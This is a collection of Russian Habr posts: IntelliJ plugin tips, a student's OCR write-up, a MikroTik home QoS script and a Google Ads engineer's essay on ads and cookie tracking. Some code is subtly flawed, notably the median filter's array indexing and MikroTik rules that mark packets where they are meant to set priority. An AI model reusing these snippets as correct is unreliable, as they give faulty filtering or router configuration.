[Очень подробный цикл статей на Хабре от @Lucyfer](http://habrahabr.ru/post/187106/)
[Java API Examples](http://www.programcreek.com/java-api-examples/)
Мелкие советы
-------------
Я решил не рассказывать о таких вещах, как настройка среды для разработки плагина, конфигурационном файле и др., так как все немногие статьи в рунете посвящены именно этому. За время создания плагина я много раз спотыкался о неочевидные (мне, во всяком случае) особенности Intellij IDEA. Знай я о них раньше, дело пошло бы намного быстрее. Поэтому поделюсь некоторыми моментами, которые могут сэкономить вам порядочно времени.
#### Добавляем свой CustomStatusBarWidget
Для удобства я решил дополнить Status Bar небольшим элементом, который отображал бы сколько времени было потрачено за текущий сеанс работы в среде, не отвлекая при этом разработчика от редактора. Интерфейс StatusBar содержит перегруженный метод addWidget(), принимающий CustomStatusBarWidget параметр:
```
public interface StatusBar extends StatusBarInfo, Disposable {
...
void addWidget(@NotNull StatusBarWidget var1);
void addWidget(@NotNull StatusBarWidget var1, @NotNull String var2);
void addWidget(@NotNull StatusBarWidget var1, @NotNull Disposable var2);
void addWidget(@NotNull StatusBarWidget var1, @NotNull String var2, @NotNull Disposable var3);
...
}
```
Получить же сам StatusBar проекта можно следующим образом:
```
statusBar = WindowManager.getInstance().getStatusBar(currentProject);
```
Главной проблемой для меня стала имплементация CustomStatusBarWidget, а также расположение его по отношению к другим виджетам (я не знал их названий, так что найти их в исходном коде среды не удалось).
Спасение пришло [отсюда](http://www.programcreek.com/java-api-examples/index.php?api=com.intellij.openapi.wm.StatusBar). То есть, виджет можно добавить относительно других следующим образом:
```
statusBar.addWidget(myWidget1,"before " + IdeMessagePanel.FATAL_ERROR);
statusBar.addWidget(myWidget2, "after Encoding");
statusBar.addWidget(myWidget3,"after InsertOverwrite");
statusBar.addWidget(myWidget4,"after Position");
```
Имплементируем CustomStatusBarWidget:
```
class Widget implements CustomStatusBarWidget{
private JLabel myLabel = new JLabel("00:00:00");
@Override
public JComponent getComponent() {
return myLabel;
}
@NotNull
@Override
public String ID() {
return null;
}
@Nullable
@Override
public WidgetPresentation getPresentation(@NotNull PlatformType platformType) {
return null;
}
@Override
public void install(@NotNull StatusBar statusBar) {
}
@Override
public void dispose() {
}
}
```
Добавим наш виджет на StatusBar, дополним JLabel иконкой…
#### Получение ToolBar'a действий из Java кода
Подробно про саму систему действий в плагинах Intellij IDEA можно почитать [тут](http://habrahabr.ru/post/187142/).
Получение компонента при помощи ActionManager.
```
private JComponent createActionToolBar(AnAction ...actions){
DefaultActionGroup actionGroup = new DefaultActionGroup();
for(AnAction anAction : actions){
actionGroup.add(anAction);
}
ActionToolbar toolbar = ActionManager.getInstance().createActionToolbar("Tempore.MainPanel", actionGroup, false);
return toolbar.getComponent();
}
```
#### Адрес проекта, в котором работает плагин
Путь к проекту можно получить с помощью экземпляра класса Project. Например, путь к папке .idea проекта:
```
String path = currentProject.getProjectFile().getParent().getPath();
```
#### Получение компонентов из метода actionPerformed()
Из параметра AnActionEvent можно получить доступ к компонентам:
```
Project currentProject = DataKeys.PROJECT.getData(actionEvent.getDataContext());
VirtualFile currentFile = DataKeys.VIRTUAL_FILE.getData(actionEvent.getDataContext());
Editor editor = DataKeys.EDITOR.getData(actionEvent.getDataContext());
StatusBar statusBar = WindowManager.getInstance().getStatusBar(DataKeys.PROJECT.getData(actionEvent.getDataContext()));
.
```
#### Всплывающие сообщения
Простое сообщение с информацией или сообщение об ошибке можно добавить на StatusBar следующим образом:
```
JBPopupFactory.getInstance()
.createHtmlTextBalloonBuilder("You have been working for two hours! Recommend to have a break ", MessageType.INFO, null)
.setFadeoutTime(7500)
.createBalloon()
.show(RelativePoint.getCenterOf(statusBar.getComponent()),
Balloon.Position.atRight);
```
Выглядит вот так:
#### Совместимость со средами Intellij Platform
Так как подсчет времени работы над проектом полезен не только в Intellij IDEA, я решил сделать плагин совместимым с другими средами Intellij Platform. Для этого нужно добавить тег в файле plugin.xml:
```
...
com.intellij.modules.lang
...
```
Теперь помимо Intellij IDEA плагин подходит еще и для RubyMine, WebStorm, PhpStorm, PyCharm и AppCode.
Итоги
-----
Примерно за месяц, мне удалось создать плагин, который следит за тем, сколько времени вы тратите на свои проекты, советует сделать перерыв, если вы пишете код нон-стоп несколько часов и рисует диаграмму потраченных часов за каждый день.
Так же он останавливается, если активность в среде прекратилась больше, чем на 5 минут и запускается, когда пользователь снова принялся за работу.
При желании, сам плагин можно скачать [тут](https://plugins.jetbrains.com/plugin/8025?pr=clion).
Надеюсь, кому-то эта статья поможет разобраться с некоторыми аспектами разработки и избавит от бессонных ночей за чтением API. | https://habr.com/ru/post/270309/ | null | ru | null |
# Методы распознавания текста
Буквально вчера прошла 61-я студенческая научная конференция в Южном Федеральном Университете в городе Таганроге, на которой я представлял доклад по методам распознавания текста на графических изображениях. И хотелось бы поделиться этим с еще большим количеством слушателей и читателей. Кому интересно почитать про велосипеды студента-новичка в этой области, прошу под кат.
Картинки и кусочки кода присутствуют.
##### Немного теории
Тема распознавания текста попадает под раздел распознавания образов. И для начала коротко о самом распознавании образов.
Распознавание образов или теория распознавания образов это раздел информатики и смежных дисциплин, развивающий основы и методы классификации и идентификации предметов, явлений, процессов, сигналов, ситуаций и т. п. объектов, которые характеризуются конечным набором некоторых свойств и признаков. Данное определение нам дает [Wikipedia](http://ru.wikipedia.org/wiki/%D0%A2%D0%B5%D0%BE%D1%80%D0%B8%D1%8F_%D1%80%D0%B0%D1%81%D0%BF%D0%BE%D0%B7%D0%BD%D0%B0%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F_%D0%BE%D0%B1%D1%80%D0%B0%D0%B7%D0%BE%D0%B2).
Также она утверждает, что можно выделить два основных направления
* Изучение способностей к распознаванию, которыми обладают живые существа, объяснение и моделирование их;
* Развитие теории и методов построения устройств, предназначенных для решения отдельных задач в прикладных целях.
Моя работа в рамках курсовой работы проводилась именно в направлении второго пункта.
Итак, моя тема — это распознавание текста на графических изображениях и сейчас говорить о важности данного подраздела не приходиться. Всем давно известно, что существуют миллионы старых книг, которые хранятся в хранилищах ~~строгого режима~~, доступ к которым имеет только специализированный персонал. Использование этих книг запрещено по причине их ветшалости и дряхлости, так как возможно, что они могут рассыпаться прямо в руках читателя, но знания которые они хранят, представляют, несомненно, большой клад для человечества и поэтому оцифровка этих книг столь важна. Именно этим в частности занимаются специалисты в области обработки данных.
Приблизимся еще ближе к теме распознавания текста. Следует заметить, что под распознаванием текста обычно понимают три главных метода. * Сравнение с заранее подготовленным шаблоном;
* Распознавание с использованием критериев, распознаваемого объекта;
* Распознавание при помощи самообучающихся алгоритмов, в том числе при помощи нейронных сетей.
Также следует сказать, что распознавание текста почти всегда идет в купе с обнаружением текста на изображении, но так как я не ставил этой цели, этап обнаружения был опущен и заменен на легкую предобработку.
Теперь о самой работе. Было написано приложение, способное распознавать текст при использовании изображений высокого либо среднего качества, со слабым шумом либо без него. Приложение способно распознавать буквы английского алфавита, верхнего и нижнего регистра. Изображение подается для распознавания непосредственно из самого приложения.
##### Фильтрация и обработка
Так как этап обнаружения был опущен и вставлен этап предобработки то изображение в большинстве своем выглядит следующим образом.
Данное изображение обрабатывается двумя фильтрами. Медианным и монохромом. В приложении использовалась измененная версия медианного фильтра с увеличением значения компоненты красного цвета.
**Медианный фильтр**
```
public static void Median(ref Bitmap image)
{
var arrR = new int[8];
var arrG = new int[8];
var arrB = new int[8];
var outImage = new Bitmap(image);
for (int i = 1; i < image.Width - 1; i++)
for (int j = 1; j < image.Height - 1; j++)
{
for (int i1 = 0; i1 < 2; i1++)
for (int j1 = 0; j1 < 2; j1++)
{
var p = image.GetPixel(i + i1 - 1, j + j1 - 1);
arrR[i1 * 3 + j1] = ((p.R + p.G + p.B) / 3) & 0xff;
arrG[i1 * 3 + j1] = ((p.R + p.G + p.B) / 3) >> 8 & 0xff;
arrB[i1 * 3 + j1] = ((p.R + p.G + p.B) / 3) >> 16 & 0xff;
}
Array.Sort(arrR);
Array.Sort(arrG);
Array.Sort(arrB);
outImage.SetPixel(i, j, Color.FromArgb(arrR[3], arrG[4], arrB[5]));
}
image = outImage;
}
```
Данный фильтр применятся для минимизации шума и смазывания острых краев букв (засечек и т.п.). После этого изображение обрабатывает монохром. То есть происходит четкая бинаризация, при этом границы букв четко фиксируются.
**Монохром**
```
public static void Monochrome(ref Bitmap image, int level)
{
for (int j = 0; j < image.Height; j++)
{
for (int i = 0; i < image.Width; i++)
{
var color = image.GetPixel(i, j);
int sr = (color.R + color.G + color.B) / 3;
image.SetPixel(i, j, (sr < level ? Color.Black : Color.White));
}
}
}
```
##### Сегментация
После предобработки в процессе распознавания происходит сегментация изображения. Опять-таки, так как этап обнаружения опущен, то для процесса сегментации принята следующая эвристика. Предполагается, что предложения текста расположены горизонтально и не создают пересечений друг с другом. Тогда задача сегментации не составляет труда.
Задается среднее значение расстояния между двумя буквами в слове. После этого изображение делится на строки путем поиска полных белых полос. Далее эти полосы делятся на слова путем поиска белых полос определенной ширины. После всего этого выделенные слова передаются на заключительный этап, и они делятся на буквы. Таким образом на выходе модуля сегментации мы имеет весь текст представленный изображениями букв этого текста.
Непосредственно перед распознаванием изображение нормализуется и приводится до размеров шаблонов, подготовленных заранее.
Далее наступает сам процесс распознавания. Для пользователя имеется два выбора, при помощи метрик и при помощи нейронной сети.
##### Распознавание
###### Рассмотрим первый случай — распознавание при помощи метрик.
Метрика – некоторое условное значение функции, определяющее положение объекта в пространстве. Таким образом, если два объекта расположены близко друг от друга, то есть похожи (например, две буквы А написанные разным шрифтом), то метрики для таких объектов будут совпадать или быть предельно похожими. Для распознавания в этом режиме была выбрана метрика Хэмминга.
Метрика Хэмминга – метрика которая показывает, как сильно объекты не похожи между собой.
Данную метрику часто используют при кодировании информации и передаче данных. Например, после сеанса передачи на выходе имеется следующая последовательность бит (1001001), также нам известно, что должна прийти другая последовательность бит (1000101). Мы вычисляем метрику путем сравнения частей последовательности с соответствующими местами из другой последовательности. Таким образом метрика Хэмминга в нашем случае равна 2. Так как объекты отличаются в двух позициях. 2- это степень непохожести, чем больше, тем хуже в нашем случае.
Следовательно, чтобы определить какая буква изображена нужно найти ее метрику со всеми готовыми шаблонами. И тот шаблон, чья метрика окажется наиболее близкой к 0 будет ответом.
Но как показала практика подсчет одной лишь метрики не дает положительного результата, так многие буквы похожи между собой. например «j» «i», что приводит к ошибочному распознаванию.
Тогда было принято решение придумать новые метрики, позволяющие разграничить некоторое множество букв в отдельный класс. В частности, были реализованы метрики (Отражения горизонтального и вертикального, преобладания веса горизонтального и вертикального).
Экспериментом было выяснено, что такие буквы как «H» «I» «i» «O» «o» «X» «x» «l» обладают суперсимметрией (полностью совпадают со своими отражениями и значимые пиксели распределены равномерно по всему изображению), поэтому они были вынесены в отдельный класс, что сокращает перебор всех метрик примерно в 6 раз. Аналогичные действия были проведены в отношении других букв. В среднем уменьшение перебора достигает примерно 3 раза.
Также есть уникальная буква такая как «J», которая находится в своем классе одна, и значит идентифицируются однозначно. Далее, для каждого класса высчитывается метрика Хэмминга, которая на данном этапе дает лучшие показатели чем при прямом применении.
При создании шаблонов использовался шрифт «consolas», поэтому, если распознаваемый текст написан этим шрифтом, распознавание имеет точность порядка 99 процентов. При изменении шрифта, точность падает до 70 процентов.
###### Второй способ распознавания – при помощи нейронной сети.
Что такое нейронная сеть и в биологическом понимании, и в математическом я рассказывать не буду, так как данного материала полно в интернете и повторять его не хочется. Сказать лишь можно то, что в математическом смысле нейронная сеть — это лишь модель биологического определения.
Существуют также множества разновидностей этих моделей. В своей работе я использовал однослойную сеть Кохонена.
Принцип работы нейронной сети таков, что поучив на входной слой нейронов новое изображение сеть реагирует импульсом того или иного нейрона. Так как все нейроны поименованы значениями букв, следовательно, среагировавший нейрон и несет ответ распознавания. Углубляясь в терминологию сетей можно сказать, что нейрон помимо выхода имеет также множество входов. Данные входы описывают значение пикселя изображения. То есть, если имеется изображение 16х16, входов у сети должно быть 256.
Каждый вход воспринимается с определенным коэффициентом и в результате, по окончанию распознавания на каждом нейроне скапливается определенный заряд, чем заряд будет больше тот нейрон и испустит импульс.
Но что бы коэффициенты входов были правильно настроены необходимо сначала обучить сеть. Этим занимается отдельный модуль обучения. Данный модуль берет очередное изображение из обучающей выборки и скармливает сети. Сеть анализирует все позиции черных пикселей и выравнивает коэффициенты минимизируя ошибку совпадения методом градиента, после чего определенному нейрону сопоставляется данное изображение.
**Обучение**
```
public void Teach(Bitmap img, Neuron correctNeuron)
{
var vector = GetVector(img);
for (int i = 0; i < vector.Length; i++)
{
vector[i] *= 10;
correctNeuron.Weigths[i] = correctNeuron.Weigths[i] + 0.5 * (vector[i] - correctNeuron.Weigths[i]);
}
}
```
По окончанию обучения каждый нейрон похож на холст художника, где на местах в которых чаще всего встречались черные пиксели наиболее темная краска (значение заряда больше), а там, где реже совсем светлый тон.
Все коэффициенты выровнены и готовы воспринимать изображения.
Точность распознавания при этом методе достигает 80 процентов. Следует заметить, что точность распознавания зависит от обучающей выборки, как от количества, так и от качества.
Очень помогли при написании приложения:
[Сети Кохонена для чайников](http://habrahabr.ru/post/143668/)
[Курс лекций от Яндекса](http://habrahabr.ru/company/yandex/blog/208034/)
**P.S.** Хотелось бы услышать конструктивную критику по поводу стиля написания, манеры представления и полноты освещения. | https://habr.com/ru/post/220077/ | null | ru | null |
# Mikrotik. QoS для дома
Сегодня я хотел бы немного рассказать о приоритетах.
Статья не претендует на охват всей информации по QoS на Mikrotik. Это демонстрация набора правил, позволяющих настроить несложную схему приоритезации трафика и пополнять её по мере необходимости.
Надеюсь, коллеги помогут советами в комментариях.
Говоря о QoS, обычно подразумевают два направления — более или менее равномерное деление канала по количеству пользователей, либо приоритезацию трафика. Направления эти вполне дополняют друг-друга, но для дома, для семьи заниматься делением канала я смысла не вижу и, если вас интересует эта тема, сошлюсь на исчерпывающе раскрывающую тему статью «[MikroTik QoS — развенчание мифов](https://habrahabr.ru/post/188718/)».
Я же сосредоточусь на приоретизации трафика, благо это несколько проще.
Ограничение скорости передачи данных может быть выполнено двумя способами:
1. Отбрасываются все пакеты, превышающие лимит скорости передачи (шейпер).
2. Задержка превысивших заданное ограничение скорости передачи пакетов в очереди и отправка их позже, как только появляется такая возможность, т.е. выравнивание скорости передачи (шедулер).
Как видно на иллюстрации, шейпер режет всё, что не влезло, а шедулер просто притормаживает.
Соответственно, именно шедулер нам и нужен.
Теперь необходимо поделить трафик на классы и задать каждому классу свой приоритет. Первый класс обслуживается в первую очередь, последний — в последнюю.
Самый простой вариант такого решения, который зачастую и используется — просто пустить приоритетом VoIP-трафик, а весь остальной по остаточному принципу, но я сделаю чуть сложнее.
Итак, план таков:
prio\_1: DNS, ICMP, ACK — *в первую очередь идёт служебный трафик. Установка и разрыв соединений, резолвинг имён и т.п.*
prio\_2: SIP — *VoIP очень любит минимальные задержки.*
prio\_3: SSH и игры — *удалённый доступ важен для работы. Игры — для отдыха.*
prio\_4: RDP и HTTP/HTTPS — *веб, видео и т.п.*
prio\_5: всё, что не опознано выше — *в принципе, можно принудительно загнать сюда торренты. Благо дома порты с которых работают клиенты вполне известны.*.
**Маленькое лирическое отступление:**
*Если мы поищем информацию о QoS в Mikrotik, то найдём несколько вариантов скриптов, начиная от монструозного [QOS script by Greg Sowell](http://gregsowell.com/?p=4665) или явно основанного на нём [The Mother of all QoS Trees](https://www.mikrotik-routeros.com/2014/05/the-mother-of-all-qos-trees-v6-0/), заканчивая [Traffic Prioritization Script](https://wiki.mikrotik.com/wiki/Traffic_Prioritization_Script) (кстати, советую отнестись к нему с большой осторожностью, автор явно довольно смутно понимает, что делает и поэтому скрипт делает явно не то, что было задумано). У всех этих скриптов есть одна общая проблема — они написаны довольно давно и в значительной степени устарели по одной простой причине — мир изменился.*
Сегодня, благодаря всеобщему шифрованию трафика, мы не можем так запросто взять и с помощью L7-regexp отловить трафик youtube, например, или Skype. Поэтому, используя такие скрипты, внимательно отнеситесь к вопросу определения трафика. Это, на мой взгляд, единственная сложность в этом вопросе.
Теперь разметим трафик согласно плана выше. В коде я использую interfaceBandwidth, т.е. ширину канала. У меня он симметричный и равен 100М. Если у вас отличается ширина канала, то необходимо изменить значение interfaceBandwidth на необходимое. Если канал асинхронный, то скрипт будет сложнее за счёт необходимости отдельно маркировать пакеты для входящего и исходящего трафика. Это несложно, но значительно увеличит скрипт, ухудшив его читаемость и, в целом, выходит за рамки статьи.
В address-list я демонстрирую возможность массовой вставки адресов из FQDN (для примера взяты адреса кластеров из wiki Мира Танков). Разумеется, можно просто прописать необходимые IP вручную.
```
#Set bandwidth of the interface
:local interfaceBandwidth 100M
# address-lists
:for i from=1 to=10 do={/ip firewall address-list add list=WoT address=("login.p"."$i".".worldoftanks.net")}
#
/ip firewall mangle
# prio_1
add chain=prerouting action=mark-packet new-packet-mark=prio_1 protocol=icmp
add chain=prerouting action=mark-packet new-packet-mark=prio_1 protocol=tcp port=53
add chain=prerouting action=mark-packet new-packet-mark=prio_1 protocol=udp port=53
add chain=prerouting action=mark-packet new-packet-mark=prio_1 protocol=tcp tcp-flags=ack packet-size=0-123
# prio_2
add chain=prerouting action=mark-packet new-packet-mark=prio_2 dscp=40
add chain=prerouting action=mark-packet new-packet-mark=prio_2 dscp=46
add chain=prerouting action=mark-packet new-packet-mark=prio_2 protocol=udp port=5060,5061,10000-20000 src-address=192.168.100.110
add chain=prerouting action=mark-packet new-packet-mark=prio_2 protocol=udp port=5060,5061,10000-20000 dst-address=192.168.100.110
# prio_3
add chain=prerouting action=mark-packet new-packet-mark=prio_3 protocol=tcp port=22
add chain=prerouting action=mark-packet new-packet-mark=prio_3 src-address-list=WoT
add chain=prerouting action=mark-packet new-packet-mark=prio_3 dst-address-list=WoT
# prio_4
add chain=prerouting action=mark-packet new-packet-mark=prio_4 protocol=tcp port=3389
add chain=prerouting action=mark-packet new-packet-mark=prio_4 protocol=tcp port=80,443
Аккуратно уложим размеченный трафик в очередь:
queue tree add max-limit=$interfaceBandwidth name=QoS_global parent=global priority=1
:for indexA from=1 to=4 do={
/queue tree add \
name=( "prio_" . "$indexA" ) \
parent=QoS_global \
priority=($indexA) \
queue=ethernet-default \
packet-mark=("prio_" . $indexA) \
comment=("Priority " . $indexA . " traffic")
}
/queue tree add name="prio_5" parent=QoS_global priority=5 \
queue=ethernet-default packet-mark=no-mark comment="Priority 5 traffic"
```
И последнее, коль скоро Mikrotik поддерживает WMM, было бы логично разметить трафик и для него.
Делается это тем же mangle-ом с помощью команды set\_priority. Согласно wiki Mikrotik'а, таблица приоритетов WMM выглядит довольно причудливо:
1,2 — background
0,3 — best effort
4,5 — video
6,7 — voice.
Разметим приоритеты, используя те же правила, что и для маркировки пакетов:
```
/ip firewall mangle
# prio_1
add chain=prerouting action=set-priority new-priority=7 protocol=icmp
add chain=prerouting action=set-priority new-priority=7 protocol=tcp port=53
add chain=prerouting action=set-priority new-priority=7 protocol=udp port=53
add chain=prerouting action=set-priority new-priority=7 protocol=tcp tcp-flags=ack packet-size=0-123
# prio_2
add chain=prerouting action=set-priority new-priority=6 dscp=40
add chain=prerouting action=set-priority new-priority=6 dscp=46
add chain=prerouting action=set-priority new-priority=6 protocol=udp port=5060,5061,10000-20000 src-address=192.168.100.110
add chain=prerouting action=set-priority new-priority=6 protocol=udp port=5060,5061,10000-20000 dst-address=192.168.100.110
# prio_3
add chain=prerouting action=set-priority new-priority=5 protocol=tcp port=22
add chain=prerouting action=mark-packet new-packet-mark=prio_3 src-address-list=WoT
add chain=prerouting action=mark-packet new-packet-mark=prio_3 dst-address-list=WoT
# prio_4
add chain=prerouting action=set-priority new-priority=3 protocol=tcp port=3389
```
В принципе, на этом всё.
В будущем, при необходимости, можно подумать о формировании динамических адресных листов, периодически формируемых из кэша DNS скриптами типа:
```
:foreach i in=[/ip dns cache all find where (name~"youtube" || name~"facebook" || name~".googlevideo")]
do={:put [/ip dns cache get $i address]}
```
для отбора онлайнового видео.
Или детектить Skype с помощью поиска upnp-правил:
```
:foreach i in=[/ip firewall nat find dynamic and comment~"Skype"]
do={:put [/ip firewall nat get $i dst-port]}
```
Но пока у меня такой необходимости нет.
Скрипты из статьи доступны на [GitHub'е](https://github.com/strannick-ru/mikrotik). Если у вас что-то не заработало, есть идеи или комментарии — пишите.
Спасибо за внимание!
**UPD:** В исходной версии статьи в скриптах была ошибка (неверно выбранная цепочка). Скрипты исправлены. | https://habr.com/ru/post/330362/ | null | ru | null |
# Cтарший разработчик Google Ads: Почему я занимаюсь рекламой
> «Я работаю в Google над рекламой»
>
> «Почему? Я искренне не понимаю, что кто-то может этим заниматься.»
 Кто-то недавно [спросил меня](https://news.ycombinator.com/item?id=26970115): «Почему я работаю над рекламой?»
Я захотел написать что-то более основательное, чем [просто комментарий](https://news.ycombinator.com/item?id=26970576). (Несмотря на то, что это моя профессиональная тема, это личный пост, и я говорю только от своего имени.)
Один ответ заключается в том, что я зарабатываю, чтобы отдавать: [половину того, что я зарабатываю](https://www.jefftk.com/donations), я отдаю наиболее эффективным благотворительным организациям, которые могу найти, и чем больше я зарабатываю, тем больше я могу [отдавать](https://www.jefftk.com/news/giving). Однако это не полный ответ, поскольку, когда люди [спрашивают меня об этом](https://news.ycombinator.com/item?id=21617072), они обычно исходят из того, что рассматривают рекламу (или, возможно, онлайн-рекламу) как нечто плохое, и вопрос больше похож на «Почему вы решили работать над чем-то плохим?»
Дело в том, что я считаю рекламу хорошей и считаю свой личный вклад позитивным. Я открыт для дискуссий в этом: **если я причиняю вред своей работой, я хотел бы знать об этом**.
Итак: чем хороша реклама? Я имею в виду, разве не раздражает, когда сайты показывают вам рекламу вместо того, что вы хотите прочитать? Вопрос в том, какая есть альтернатива? Я вижу две основные модели финансирования:
1. Платный доступ (paywall). Вы платите своими деньгами.
2. Объявления. Вы платите свои вниманием.
Также можно финансировать проекты за счет пожертвований или как хобби, но создание большей части того, что есть для чтения, требует больше денег.
(Я использую специфичный для Интернета термин «платный доступ» (paywall) для обозначения общей концепции «платить деньги за доступ»: покупка книг, оплата входных билетов, подписка на потоковые сервисы и т.д.)
И платный доступ, и реклама имеют ряд преимуществ и недостатков. Некоторые из них различаются в зависимости от носителя: книги достаточно дороги, чтобы их можно было напечатать, и их нельзя было финансировать за счет рекламы; аналоговый радиоприемник [настолько прост](https://en.wikipedia.org/wiki/Crystal_radio), что платный доступ потребует драконовской юридической силы. Однако я считаю, что в Интернете реклама лучше подходит по двум причинам:
1. Минимальное трение. Вы можете переходить по ссылкам с сайта на сайт без препятствий. Вам не нужно решать, на какие сайты подписываться. Если кто-то пришлет вам ссылку на статью, вы можете ее прочитать.
2. Нерегрессивность. Платный доступ, как и другие фиксированные затраты, регрессивен: [газета по цене 220 долларов в год](https://www.nytimes.com/subscription) намного дороже для человека, зарабатывающего 10 тысяч долларов, чем 100 тысяч долларов.
Вы можете уменьшить трение сделав объединение: вы подписываетесь на потоковую службу, а затем можете смотреть (или слушать, или читать) что-либо в их коллекции. У этого подхода есть свои преимущества, но он плохо подходит для статей. Просмотр веб-страниц работает лучше всего, когда люди могут читать и делиться чем угодно без подписки («извините, эта статья предназначена только для подписчиков Conglomerated Media Group»). Чтобы существенно устранить трения с объединением, вам нужно будет ограничиться небольшим количеством подписок, что затем даст этим организациям огромную (и опасную!) власть.
[Микроплатежи](https://en.wikipedia.org/wiki/Micropayment) потенциально могут разрешить эти трения децентрализованным способом, я надеюсь что это произойдет. С другой стороны, это действительно сложная проблема: люди работали над ней еще более 25 лет назад ([Digital's Millicent](https://www.w3.org/Conferences/WWW4/Papers/246/)). Было много предложений и стартапов, но ничего не получилось.
Однако даже если бы мы могли решить проблемы с платежами, мы все равно застряли бы с основной проблемой, заключающейся в том, что у одних людей располагаемый доход намного больше, чем у других. [Универсальный базовый доход](https://en.wikipedia.org/wiki/Universal_basic_income) помог бы, и я решительно поддерживаю его, но не думаю, что это может быть политически осуществимо в ближайшее время.
Итак: реклама. Финансирование открытого веба.
Или, возможно: лучше реклама, чем платный доступ.
Однако я не хочу относиться к рекламе слишком поверхностно: сегодня в интернет-рекламе много плохого. Например, у рекламодателей недостаточно стимулов ограничивать использование полосы пропускания или у издателей, чтобы избежать раздражающей рекламы. Но самая большая проблема, которую люди поднимают, — это влияние таргетированной рекламы на конфиденциальность.
Большинство продуктов подходят для одних людей лучше, чем для других. Если вы попробуете продать велосипеды для рыбалки, мало кто будет заинтересован, и вы в основном потратите их внимание. Это означает, что реклама стоит намного дороже, если вы можете показать правильную рекламу нужному человеку.
Один из способов сделать это — разместить рекламу в местах, где, вероятно, будут находиться непропорционально заинтересованные люди. Реклама моделей железных дорог на форумах, посвященных моделированию железных дорог, спонсируемые продукты на Amazon, стенд на торговой выставке. Это отлично работает, если вы хотите вести блог о новых крутых кредитных картах, но как насчет всех тех сайтов, которые не имеют сильной коммерческой связи?
Большая часть рекламы в Интернете сегодня ориентирована на предыдущие просмотры. Когда я писал все эти посты об автомобилях, я посещал множество автомобильных сайтов, а потом увидел [много](https://www.jefftk.com/p/car-thoughts) [объявлений](https://www.jefftk.com/p/the-cost-of-a-sixth-seat) [об](https://www.jefftk.com/p/seatbelt-extenders-and-booster-seats) [автомобилях](https://www.jefftk.com/p/sharing-a-car) [на других сайтах](https://www.jefftk.com/p/six-door-cars). Я [не стал покупать машину](https://www.jefftk.com/p/sharing-a-car), но рекламодатели были правы в том, что у меня гораздо больше шансов купить машину в ближайшее время, чем у случайного человека.
Исторически такая реклама создавалась на основе сторонних файлов cookie. Когда я посетил один из этих автомобильных сайтов, они, вероятно, поместили на свою страницу немного HTML, например:
```
```
Мой браузер отправил запрос на это изображение и получил невидимый «пиксель отслеживания» с чем-то вроде:
```
Set-Cookie: id=6735261
```
Вендор, вероятно, сохранил такую запись:
id: 6735261
interests: cars
Позже, возможно, я посетил сайт о цветах, и мне послали:
```
```
На этот раз в моем браузере уже был файл cookie для adtech.example, поэтому он был включен в запрос:
```
Cookie: id=6735261
```
Это позволяет вендору обновлять свою запись для меня:
id: 6735261
interests: cars, flowers
Некоторое время спустя я читаю что-то не имеющее отношения к делу на сайте, который заключает контракт с adtech.example на показ рекламы. Мой браузер отправляет запрос на рекламу, и мой файл cookie включен. Продавец проводит аукцион, участники торгов особенно заинтересованы в том, чтобы платить за показ мне объявлений об автомобилях (больше прибыли, чем цветов), и я получаю рекламу об автомобилях.
У этой модели есть несколько серьезных недостатков с точки зрения конфиденциальности. Как правило, продавец не просто понимает, что вас интересуют автомобили, он получает полный URL-адрес страницы, на которой вы находитесь. Это позволяет им составить довольно полную картину всех страниц, которые вы посетили в Интернете. Затем они могут связать свою базу данных с базами данных других вендоров и получить еще больший охват.
Ситуация начала меняться в 2017 году, когда [Safari](https://webkit.org/blog/7675/intelligent-tracking-prevention/) анонсировала «Intelligent Tracking Protection"». Это первый из [очень](https://webkit.org/blog/8142/intelligent-tracking-prevention-1-1/) [многих](https://webkit.org/blog/8311/intelligent-tracking-prevention-2-0/) [раундов](https://webkit.org/blog/8613/intelligent-tracking-prevention-2-1/) [итераций](https://webkit.org/blog/8828/intelligent-tracking-prevention-2-2/), [около](https://webkit.org/blog/9521/intelligent-tracking-prevention-2-3/) года назад он привел Safari к [полной блокировке сторонних файлов](https://webkit.org/blog/10218/full-third-party-cookie-blocking-and-more/) cookie. За ним [последовал](https://blog.mozilla.org/blog/2019/09/03/todays-firefox-blocks-third-party-tracking-cookies-and-cryptomining-by-default/) Firefox, и Chrome [объявил](https://blog.chromium.org/2020/01/building-more-private-web-path-towards.html), что они сделают это тоже.
Ну вроде как. Анонс от Chrome было немного более обтекаемым:
> После первоначального диалога с веб-сообществом мы уверены, что при постоянных итерациях и обратной связи механизмы сохранения конфиденциальности и открытых стандартов, такие как Privacy Sandbox, могут поддерживать работоспособность сети с рекламной поддержкой таким образом, чтобы сторонние файлы cookie были устаревшими.. После того, как эти подходы будут удовлетворять потребности пользователей, издателей и рекламодателей, и мы разработаем инструменты для устранения обходных путей, мы планируем постепенно отказаться от поддержки сторонних файлов cookie в Chrome. Мы намерены сделать это в течение двух лет.
Идея состоит в том, чтобы создать API-интерфейсы браузера, которые позволят такую хорошо таргетированную рекламу без отправки вашей истории просмотров рекламодателям, а затем избавиться от сторонних файлов cookie.
Один из этих предлагаемых API — [TURTLEDOVE](https://github.com/WICG/turtledove). Он позволяет рекламодателю сказать вашему браузеру: «Помните, что я знаю, что этот пользователь интересуется автомобилями», а затем «показать это объявление пользователям, которые, как я сказал, интересовались автомобилями». Поскольку браузер хранит эту информацию и очень осторожно обрабатывает ставки, отчеты и показ рекламы, он не позволяет рекламодателям узнавать, какие сайты вы посещаете, или сайтам, какие объявления вы видите.
Я выяснял, как реклама может использовать TURTLEDOVE, помогая создать [open-source plain-JS implementation](https://github.com/google/fledge-shim) для тестирования и экспериментов и предлагая способы улучшения API ([#119](https://github.com/WICG/turtledove/issues/119), [#146](https://github.com/WICG/turtledove/issues/146#issuecomment-825140625), [#149](https://github.com/WICG/turtledove/issues/149), [#158](https://github.com/WICG/turtledove/issues/158), [#161](https://github.com/WICG/turtledove/issues/161), [#164](https://github.com/WICG/turtledove/issues/164)). Я думаю, что во многом именно поэтому я меньше веду блог в последнее время: реализация этих идей черпает энергию из того же источника.
Реклама — это то, как мы финансируем Интернет, в котором вы можете свободно переходить с сайта на сайт, и моя основная работа — помочь понять, как перенести рекламу на менее мощные, более приватные API. Хотя я думаю, что подавляющее большинство моего альтруистического влияния происходит за счет пожертвований, я не думаю, что моя работа в рекламе наносит вред. | https://habr.com/ru/post/556776/ | null | ru | null |
# Виртуальный Джинн на 8 марта — или как удивить своих сотрудниц в самый весенний день
